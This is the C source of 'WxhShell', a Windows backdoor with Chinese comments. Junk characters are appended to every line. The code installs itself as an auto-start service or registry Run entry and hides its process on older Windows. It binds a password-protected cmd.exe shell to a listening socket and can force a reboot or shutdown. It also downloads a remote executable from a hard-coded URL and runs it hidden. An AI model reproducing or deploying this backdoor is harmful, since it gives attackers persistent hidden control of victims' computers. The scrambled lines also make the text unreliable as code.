    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (xKypc+j  
    if(Boot(SHUTDOWN)) Wf-XH|j[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \.>7w 1p  
    else { zF|c3ap  
    closesocket(wsh); CH q5KB98+  
    ExitThread(0); ,v`03?8l(  
    } E~VV19Bv]/  
    break; mg" _3].j  
    }  Frz  
  // 获取shell CIf@G>e-  
  case 's': { k7j[tB#  
    CmdShell(wsh); CD5% iFy  
    closesocket(wsh); My Ky*wD  
    ExitThread(0); 6uKP BL@,  
    break; ; 6PRi/@  
  } R_>.O?U4  
  // 退出 hwA&SS  
  case 'x': { KP 6vb@(6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O#p_rfQ  
    CloseIt(wsh); 9XKqsvdS  
    break; Ep:hObWG)  
    } Bs|Xq'1M!;  
  // 离开 %yd(=%)fMB  
  case 'q': { y4$$*oai&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xfbr;Jt"<  
    closesocket(wsh); ,In%r`{i  
    WSACleanup(); s {^wr6B  
    exit(1); HF"TS*  
    break; IP@3R(DS%  
        } U$3DIJVI  
  } 8@LUL)"  
  } +-9-%O.(;  
EUVD)+it  
  // 提示信息 gsUF\4A(J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !YI<A\P  
} o!U(=:*b  
  } Zu~w:uNmU  
u&[L!w  
  return; 9 W|'~r  
} bfm+!9=9S  
0pG + yec  
// shell模块句柄 )=`DEbT  
int CmdShell(SOCKET sock) )WW*X6[k  
{ R eb.x_  
STARTUPINFO si; Q1ayd$W@<  
ZeroMemory(&si,sizeof(si)); <mj/P|P@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lpS v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6 VuyKt  
PROCESS_INFORMATION ProcessInfo; ,>za|y<n  
char cmdline[]="cmd"; vLBuE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OU}eTc(FeC  
  return 0; DVMdRfA  
} _0FMwC#DY  
6\jbSe  
// 自身启动模式 D$>&K&  
int StartFromService(void) *wY+yoj  
{ iH@u3[w  
typedef struct nnvS.s`O  
{ !]Qk?T~9-  
  DWORD ExitStatus; IG{Me  
  DWORD PebBaseAddress; kPiY|EH  
  DWORD AffinityMask; mEu2@3^E }  
  DWORD BasePriority; N ~fE&@-  
  ULONG UniqueProcessId; ULBEe@ s  
  ULONG InheritedFromUniqueProcessId; =wW M\f`=  
}   PROCESS_BASIC_INFORMATION; |=0w_)Fa]  
</@5>hx/  
PROCNTQSIP NtQueryInformationProcess; x DN u'  
j@^zK!mO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bg[yn<) ]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $Dx*[.M3>  
zi_$roq=)  
  HANDLE             hProcess; ARt{ 2|  
  PROCESS_BASIC_INFORMATION pbi; !8T04988j  
z5 @i"%f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _+nk3-yQw  
  if(NULL == hInst ) return 0; Tx]p4wY:D  
w{ |`F>f9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b 9"t%R9/Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UN F\k1[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^Ifm1$X}  
U<Qi`uoj!  
  if (!NtQueryInformationProcess) return 0; +N7<[hE;  
cWZ uph\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tm1&OY  
  if(!hProcess) return 0; u\= 05N6G  
Otx>S' 5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <[-{:dH,5  
I)vR  
  CloseHandle(hProcess); Z 4i5,f  
5Phsh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =Ul"{T<  
if(hProcess==NULL) return 0;  S.B?l_d^  
nM:<l}~v{  
HMODULE hMod; U`8Er48X  
char procName[255]; WagL8BpLx  
unsigned long cbNeeded; maY.Z<lN  
7l/lY-zO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KK1?!7  
a^|9rho<  
  CloseHandle(hProcess); qyFeq])  
b_6cK#  
if(strstr(procName,"services")) return 1; // 以服务启动 7FyE?  
GnUD<P=I  
  return 0; // 注册表启动 [KHlApL  
} QV HI}3~  
='w 2"4  
// 主模块 2Xk;]-T!  
int StartWxhshell(LPSTR lpCmdLine) r|*_KQq  
{ B(vCi^  
  SOCKET wsl; Z<^EZX3N  
BOOL val=TRUE; [7~AWZU3  
  int port=0; %72(gR2Wa2  
  struct sockaddr_in door; 8>LDo"<  
M% Rr=  
  if(wscfg.ws_autoins) Install(); zh0T3U0D  
>o{JG(Rn  
port=atoi(lpCmdLine); F[%k ;aJ  
FXn98UFY  
if(port<=0) port=wscfg.ws_port; "4Q_F3?_`  
koS?UYF`  
  WSADATA data; q+oc^FD?@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8! !h6dQgI  
)*XWe|H_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?PTXgIC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k'N``.  
  door.sin_family = AF_INET; S ~h*U2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yocFdI  
  door.sin_port = htons(port); 4e eh+T  
3(|,:"9g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (3D&GY!/  
closesocket(wsl); Ab/JCZNn  
return 1; 0gW{6BtPWm  
} 3h>L0  
(`E`xb@E,=  
  if(listen(wsl,2) == INVALID_SOCKET) { %,z;W-#gnY  
closesocket(wsl); }2e s"  
return 1; mVYfyLZ,(  
} *c=vEQn-  
  Wxhshell(wsl); 3@Fa  
  WSACleanup(); <]KQ$8dtD  
trrK6(p  
return 0; BY[7`@  
t2OBVzK  
} ok:L]8UN 3  
z,E`+a;  
// 以NT服务方式启动 3)#Nc|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z80FMulO  
{ Ee7+ob  
DWORD   status = 0; vk X+{n  
  DWORD   specificError = 0xfffffff; 0L8fpGJ  
3h=kn@I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yhbU;qEG9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Jq(;BJ90R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PX/{!_mM  
  serviceStatus.dwWin32ExitCode     = 0; 7=u Gf$/  
  serviceStatus.dwServiceSpecificExitCode = 0; +^esL9RG:  
  serviceStatus.dwCheckPoint       = 0; {D..(f1*u  
  serviceStatus.dwWaitHint       = 0; Ri_2@U-  
z#PaQp5F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jVN06,3z  
  if (hServiceStatusHandle==0) return; NQ[X=a8N  
ZYY2pY 1  
status = GetLastError(); P*7G?  
  if (status!=NO_ERROR) G rU`;M"  
{ D84&=EpVZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q4LPi;{\  
    serviceStatus.dwCheckPoint       = 0; ;zo|. YD  
    serviceStatus.dwWaitHint       = 0; Sa9VwVUE  
    serviceStatus.dwWin32ExitCode     = status; nh@JGy*L  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0x5Ax=ut  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [?9 `x-Q  
    return; 5VOw}{Pt  
  } VY8cy2  
Cm%I/4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n&P~<2^M#  
  serviceStatus.dwCheckPoint       = 0; %~M*<pN  
  serviceStatus.dwWaitHint       = 0; n-jPb064  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ovM;6o  
} n YUFRV$  
(.@peHu)#  
// 处理NT服务事件,比如:启动、停止 >2pxl(i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -2[4 @  
{ %]0?vw:;j  
switch(fdwControl) `|Di?4+6%  
{ #|Lsi`]+  
case SERVICE_CONTROL_STOP: j[A(@ w"  
  serviceStatus.dwWin32ExitCode = 0; ]4[%Sv6]G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2#^g] o-N  
  serviceStatus.dwCheckPoint   = 0; _z BfNz9D  
  serviceStatus.dwWaitHint     = 0; Q Kr/  
  { h0k?(O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cx/J_Ro#  
  } R?:Q=7K  
  return; c;X,-Q9  
case SERVICE_CONTROL_PAUSE: (2> q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; < B]qqqP  
  break; &QfEDDJ  
case SERVICE_CONTROL_CONTINUE: j xkQ #Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e CN:  
  break; h~9P3 4m  
case SERVICE_CONTROL_INTERROGATE: )LKJfoo PY  
  break; cf"&22TQ+Z  
}; a$Ud"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5j]!r  
} pQ0*)}l,  
8/tB?j  
// 标准应用程序主函数 *aM7d>nG5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j_}:=3  
{ 0%L:jq{5  
@M<qz\ [  
// 获取操作系统版本 `f&::>5tD  
OsIsNt=GetOsVer(); =0EKrG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O9By5j 4  
VPT?z  
  // 从命令行安装 gAztdA sLM  
  if(strpbrk(lpCmdLine,"iI")) Install(); M_%KhK  
hLZf A rq}  
  // 下载执行文件 A_U=`M=-  
if(wscfg.ws_downexe) { XtZd% #2},  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ibQ xL3  
  WinExec(wscfg.ws_filenam,SW_HIDE); j[dZ*Jr_  
} F::Ki4{jJ  
rL"]m_FK  
if(!OsIsNt) { 2%R.~9HtA  
// 如果时win9x,隐藏进程并且设置为注册表启动 b?iPQ$NyQ  
HideProc(); DDGDj)=`  
StartWxhshell(lpCmdLine); b,+KXx  
} zT&"rcT">  
else e }C,)   
  if(StartFromService()) *@#Gc%mGu  
  // 以服务方式启动 EFVZAY"+!;  
  StartServiceCtrlDispatcher(DispatchTable); ETU-6qFtO  
else B%Qo6*b  
  // 普通方式启动 !=,zy  
  StartWxhshell(lpCmdLine); ]W Yub1  
>/4[OPB0R  
return 0; t~K[`=G\ex  
} 5ta;CG  
0F- +)S?M[  
Uq'W<.v 5  
S{e3aqT#N  
=========================================== 9<3}zwJ  
=e#h;x2  
\Q}Y"oq  
U.~G{H`G,u  
s Y1@~v  
s=jH1^  
" MmvJ)|&t  
4l*cX1!  
#include <stdio.h> o@360#njF  
#include <string.h> f!YlYk5  
#include <windows.h> &P}t<;  
#include <winsock2.h> |+HJ>xA4I  
#include <winsvc.h> 7z3tDE[#  
#include <urlmon.h> fCY??su*   
"dt}k$Gr  
#pragma comment (lib, "Ws2_32.lib") nPI$<yW7F  
#pragma comment (lib, "urlmon.lib") N3#^Ifn[  
3D@3jyo:  
#define MAX_USER   100 // 最大客户端连接数 c9jS !uDMK  
#define BUF_SOCK   200 // sock buffer n>eDN\5  
#define KEY_BUFF   255 // 输入 buffer Y{dX[^[  
7n84`|=  
#define REBOOT     0   // 重启 I`IW^eZM  
#define SHUTDOWN   1   // 关机 BH}Cx[n?~  
"eTALRL'o  
#define DEF_PORT   5000 // 监听端口 cj GN=|`u  
%4M,f.[e  
#define REG_LEN     16   // 注册表键长度 5 Slz ^@n  
#define SVC_LEN     80   // NT服务名长度 x5\Du63  
a;; Es  
// 从dll定义API 9\Ff z&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V73/q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PeiRe  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); > JA-G@3i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |LLpG37_  
|dHtv6I  
// wxhshell配置信息 9wf"5c  
struct WSCFG { ZZHQ?p-  
  int ws_port;         // 监听端口 v\G 7V  
  char ws_passstr[REG_LEN]; // 口令 !+Y+P?  
  int ws_autoins;       // 安装标记, 1=yes 0=no -"H$ &p~  
  char ws_regname[REG_LEN]; // 注册表键名 k&5T-\q  
  char ws_svcname[REG_LEN]; // 服务名 )n9,?F#l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K fVsnL_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NM:$Q<n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j7w9H/XF}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l0t(t*[Mj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B<.\^f uS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R87@.  
"R)n1,0  
}; 1]0;2THx  
5Zhl@v,L%  
// default Wxhshell configuration SzeY?04zj:  
struct WSCFG wscfg={DEF_PORT, T ?A3f]U  
    "xuhuanlingzhe", aYk: CYQ  
    1, A+H8\ew2,  
    "Wxhshell", l\N2C4NG  
    "Wxhshell", C`qV+pV  
            "WxhShell Service", JURu>-i  
    "Wrsky Windows CmdShell Service", r~QE}00@^  
    "Please Input Your Password: ", jzpDKc%  
  1, kQ&Q_FSO  
  "http://www.wrsky.com/wxhshell.exe", Z 369<  
  "Wxhshell.exe" G"(aoy, co  
    }; Hq>hnCT  
$Q'LDmot  
// 消息定义模块 Jh%SenP_oP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9o?\*{'KT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3 .j/D^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RRQv<x  
char *msg_ws_ext="\n\rExit."; Bnwq!i!M  
char *msg_ws_end="\n\rQuit."; JP( tf+  
char *msg_ws_boot="\n\rReboot..."; P =Q+VIP&  
char *msg_ws_poff="\n\rShutdown..."; RiQg]3oY  
char *msg_ws_down="\n\rSave to "; /|&4&$  
>tMI%r  
char *msg_ws_err="\n\rErr!"; 1VG]|6f  
char *msg_ws_ok="\n\rOK!"; >;j&]]-&  
qW4\t  
char ExeFile[MAX_PATH]; &'Nzw2  
int nUser = 0; T]/>c  
HANDLE handles[MAX_USER]; #k &#d9}  
int OsIsNt; }z9v*C  
&ZFHWI(P  
SERVICE_STATUS       serviceStatus; 6pC1C.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vz-q7*o $S  
csJ)Pt?d  
// 函数声明 PC255  
int Install(void); c,)]!{c  
int Uninstall(void); 2$t%2>1>@  
int DownloadFile(char *sURL, SOCKET wsh); Gi@c`lRd1  
int Boot(int flag); p NQ7uy  
void HideProc(void); |Go$z3bx  
int GetOsVer(void); aTH$+f1?Q  
int Wxhshell(SOCKET wsl); !RwhVaSh  
void TalkWithClient(void *cs); pH3\X cn  
int CmdShell(SOCKET sock); w03Ur4>T  
int StartFromService(void); WH7UJCQ  
int StartWxhshell(LPSTR lpCmdLine); t3^`:T\  
q&6|uV])H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R@Gll60  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H!"TS-s`  
qZV|}M>P)  
// 数据结构和表定义 g;[t1~oF  
SERVICE_TABLE_ENTRY DispatchTable[] = ofz?L#:2  
{ Q*'OY~  
{wscfg.ws_svcname, NTServiceMain}, (IjM  
{NULL, NULL} km^ZF<.@  
}; Xnh&Kyz`v  
^PJN$BJx  
// 自我安装 <|G!Qn?2-  
int Install(void) {w"Cr0F,  
{ }$uwAevP{y  
  char svExeFile[MAX_PATH]; G[_Z|Xi1  
  HKEY key; \WdSj  
  strcpy(svExeFile,ExeFile); x\:KfYr4Y;  
br k*;  
// 如果是win9x系统,修改注册表设为自启动 +`mI\+y,  
if(!OsIsNt) { <rui\/4NJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :w|=o9J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ets6tM`  
  RegCloseKey(key); F9las#\J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?-9uf\2_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;0?OBUDO  
  RegCloseKey(key); :mLXB75gH  
  return 0; ywyg(8>zE  
    } Mty[)+se  
  } f TK84v"7_  
} 4 eSFpy1  
else { DaGny0|BB  
_.]mES|  
// 如果是NT以上系统,安装为系统服务 w0H#M)c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); { JDD"z  
if (schSCManager!=0) H~Uy/22aQy  
{ (LXYx<  
  SC_HANDLE schService = CreateService fshG ~L7S9  
  ( HKO]_; :(  
  schSCManager, uD{ xs  
  wscfg.ws_svcname, s0x/2z  
  wscfg.ws_svcdisp, =h ~n5wQG  
  SERVICE_ALL_ACCESS, bd27])n(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~>0H k}Hv  
  SERVICE_AUTO_START, i tk/1  
  SERVICE_ERROR_NORMAL, ?0JNaf  
  svExeFile, [^/a`Kda8  
  NULL, 4qsxlN>4O  
  NULL, 0u( 0*Xl  
  NULL, *0V'rH)  
  NULL, {t|#>UCK  
  NULL  <|82)hO  
  ); ,jw`9a  
  if (schService!=0) *O[/- p&7  
  { Zvfy%k   
  CloseServiceHandle(schService); O%F*i2I:+k  
  CloseServiceHandle(schSCManager); ouFKqRs;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JxLfDr,dy  
  strcat(svExeFile,wscfg.ws_svcname); uKD }5M?{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [)0^*A2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2@ZRz%(Oa&  
  RegCloseKey(key); 4Xt`L"f  
  return 0; q.@% H}  
    } oj'YDQ^uj  
  } O?A%  
  CloseServiceHandle(schSCManager); ^si[L52BZ  
} ^~bd AO81  
} A+4Kj~`!  
"f~OC<GdYs  
return 1; cg9}T[A  
} z> DQ  
B/n~ $  
// 自我卸载 e0Gs|c+6  
int Uninstall(void) oZl%0Uy?9I  
{ 15aPoxo>  
  HKEY key; ?q2Yk/P  
BTG_c_ ?]e  
if(!OsIsNt) { Hfo<EB2Y9N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `f~$h?}3-@  
  RegDeleteValue(key,wscfg.ws_regname); Lz:FR*  
  RegCloseKey(key); YH^@8   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EQ :>]O  
  RegDeleteValue(key,wscfg.ws_regname); -Xw S?*O  
  RegCloseKey(key); xpwy%uo  
  return 0; E m+&I  
  } Rxlv:  
}  +`ov1h  
} SK 5]7C2  
else { v?Cakwu  
+StsSZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w&J_c8S  
if (schSCManager!=0) 8ZCA vEy  
{ .4$F~!aj9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [*0M$4  
  if (schService!=0) '#,C5*`  
  { WQD:~*C:  
  if(DeleteService(schService)!=0) { C>,> _  
  CloseServiceHandle(schService); ! R3P@,j  
  CloseServiceHandle(schSCManager); R?- zJ ;  
  return 0; qcQq.cS_'N  
  } CY[3%7 fv  
  CloseServiceHandle(schService); DVKb`KJ"  
  } `R.Pz _oe  
  CloseServiceHandle(schSCManager); koD}o^U#  
} 0]=Bqyg  
} r_ B.b K  
734n1-F?I%  
return 1; " *W# z  
} e-\/1N84  
3MKu!  
// 从指定url下载文件 ucU7 @j  
int DownloadFile(char *sURL, SOCKET wsh) N`N?1!fM<}  
{ Zkqq<  
  HRESULT hr; *W>, 98  
char seps[]= "/"; Q1|zX@,  
char *token; PDCb(5  
char *file; X(3| (1;sV  
char myURL[MAX_PATH]; Y> }\'$\b  
char myFILE[MAX_PATH]; 9$C?)XKXB  
gMkSl8[  
strcpy(myURL,sURL); 0G33hIOS  
  token=strtok(myURL,seps); Cx.##n0  
  while(token!=NULL) vX}w_Jj>  
  { zpeCT3Q5O  
    file=token; k%kEW%I yG  
  token=strtok(NULL,seps); 'd&4MA0X  
  } Ry xu#]s  
;'08-Et  
GetCurrentDirectory(MAX_PATH,myFILE); khD)x0'b  
strcat(myFILE, "\\"); g#7Q-n3^  
strcat(myFILE, file); }&2,!;"">3  
  send(wsh,myFILE,strlen(myFILE),0); v9S=$Aj  
send(wsh,"...",3,0); #Er"i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (uhE'IQ{(  
  if(hr==S_OK) X7`-dSVE  
return 0; vH1,As  
else ^Qn:#O9  
return 1; Y%- !%|  
UX<-jY#'V  
} V |}9bNF  
iSW<7pNq0  
// 系统电源模块 ^yq}>_  
int Boot(int flag) vNl)ltzJF  
{ dga4|7-MY  
  HANDLE hToken; BGwD{6`U  
  TOKEN_PRIVILEGES tkp; l"DHG`kb  
,R3TFVV!?  
  if(OsIsNt) { m.! M#x2!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Di4GaKa/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >w,jaQ  
    tkp.PrivilegeCount = 1; M+HhTW;I=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =l${p*ABQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yG7H>LF?8  
if(flag==REBOOT) { i^ |G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :l1-s]  
  return 0; g0}jE%)  
} {x_cgsn  
else { d,Oagx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HX}B#T  
  return 0; /93z3o7D>  
} z\" .(fIV  
  } tY!l}:E[  
  else { ud BIEW,`  
if(flag==REBOOT) { N}ND()bf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S4{vS?>j  
  return 0; vf+z0df  
} Hs:zfvD  
else { [[6" qq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A|:+c*7]  
  return 0; RjPkH$u'Pj  
} 7wPI)]$  
} nLG)>L  
``$$yS~d};  
return 1; j2u'5kJ G  
} 5y\35kT'  
7Hgn/b[?b  
// win9x进程隐藏模块 rwP)TJh"  
void HideProc(void) 6-TYOUm  
{ 1IS1P)4_0  
?b{y#du2a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <g;,or#$  
  if ( hKernel != NULL ) e!gNd>b {  
  { _X;,,VEV!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZeU){CB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5p S$rf  
    FreeLibrary(hKernel); pUF JQ*  
  } ' -Cx-=  
&ZkJ,-  
return; lX"m |W  
} 2y!aXk\#C  
^v cnDi  
// 获取操作系统版本 GA[D@Wy  
int GetOsVer(void) UI U:^g0  
{ /HhA2 (g%  
  OSVERSIONINFO winfo; S Z/yijf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pV  u[  
  GetVersionEx(&winfo); p5vQ.Ni*\-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X{, mj"(w  
  return 1; ex1!7A!}g  
  else N|2d9E  
  return 0; a{^z= =  
} ]w _&%mB  
I]+ zG  
// 客户端句柄模块 gT$WG$^i  
int Wxhshell(SOCKET wsl) FK~wr;[  
{ Sk!' 2y*@&  
  SOCKET wsh; zF[Xem  
  struct sockaddr_in client; ) xa )$u  
  DWORD myID; 24? _k]Y  
LmqSxHs0Q  
  while(nUser<MAX_USER) +p Ywc0~  
{ 0=6mb]VUi=  
  int nSize=sizeof(client); /}>8|#U3y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eaDZ^Z Er  
  if(wsh==INVALID_SOCKET) return 1; MZ-;'w&Z  
'l~7u({u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fx(8 o+  
if(handles[nUser]==0) #<9'{i3  
  closesocket(wsh); uj.$GAtO)  
else $p0D9mF  
  nUser++; r /a@ x9  
  } gL&w:_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); { >[ ]iX  
V61oK  
  return 0; .[]S!@+%  
} lqL5V"2Y  
 ArAe=m!u  
// 关闭 socket JvW7h(u7g  
void CloseIt(SOCKET wsh) 4_j_!QH87  
{  ov,  
closesocket(wsh); V'W*'wo   
nUser--; ro<w8V9.a  
ExitThread(0); .`+~mQ Wn  
} Sq_.RU  
TsoxS/MI"  
// 客户端请求句柄 {Hl(t$3V`  
void TalkWithClient(void *cs) U= f9b]Y  
{ h~Z &L2V  
@Q2E1Uu%  
  SOCKET wsh=(SOCKET)cs; 1) 2-UT  
  char pwd[SVC_LEN]; V )oXJL  
  char cmd[KEY_BUFF]; ^$O(oE(D  
char chr[1]; __$;Z  
int i,j; |mn} wNUN]  
ri59LYy=  
  while (nUser < MAX_USER) { ">t^jt{  
l9eTghLi  
if(wscfg.ws_passstr) { .U|'KCM9m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !w%c= V]tV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ';Nc;9  
  //ZeroMemory(pwd,KEY_BUFF); H@wjZ;R  
      i=0; yy8BkG(  
  while(i<SVC_LEN) { t855|  
gsM$VaF(  
  // 设置超时 T$2A2gb `  
  fd_set FdRead; K3 BWj33  
  struct timeval TimeOut; ~< UYJc  
  FD_ZERO(&FdRead); tg#jjXV\0p  
  FD_SET(wsh,&FdRead); 1z&"V}y  
  TimeOut.tv_sec=8; 6*S/frE  
  TimeOut.tv_usec=0; *#}=>, v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \ { QH^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (EWGX |QA  
E`^ D9:3:)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4 5.g;  
  pwd=chr[0]; ZZ^A&%E(a  
  if(chr[0]==0xd || chr[0]==0xa) { `^8mGR>OpI  
  pwd=0; oz{X"jfu  
  break; Ar/P%$Zfq  
  } LsIZeL^  
  i++; hkb\ GcOj  
    } }DjVZ48  
!\%JOf}  
  // 如果是非法用户,关闭 socket $+4 4US  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 13v`rK`7o  
} N-F&=u}  
1/:vFX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6-"tQ,AZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); diM*jN#  
s,[ I_IiPf  
while(1) { -nC&t~sD  
e> 9X  
  ZeroMemory(cmd,KEY_BUFF); 7lwI]/ZH*  
ti9e(Jt!O  
      // 自动支持客户端 telnet标准   Sft vN-  
  j=0; |-\anby<  
  while(j<KEY_BUFF) { LXby(|< j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C/N;4  
  cmd[j]=chr[0]; [O_5`X9|  
  if(chr[0]==0xa || chr[0]==0xd) { e#mf{1&  
  cmd[j]=0; $X)|`$#pL#  
  break; ~gZ1*8 s`  
  } [olSgq!3  
  j++; CXoiA"P  
    } WQVU 82b*  
*.wj3' wV  
  // 下载文件 :EHk]Hkz  
  if(strstr(cmd,"http://")) { DpmAB.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oO?+2pTQV  
  if(DownloadFile(cmd,wsh)) Q!IqvmO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @(6i 1Iwu9  
  else a6z0p%sIZ  
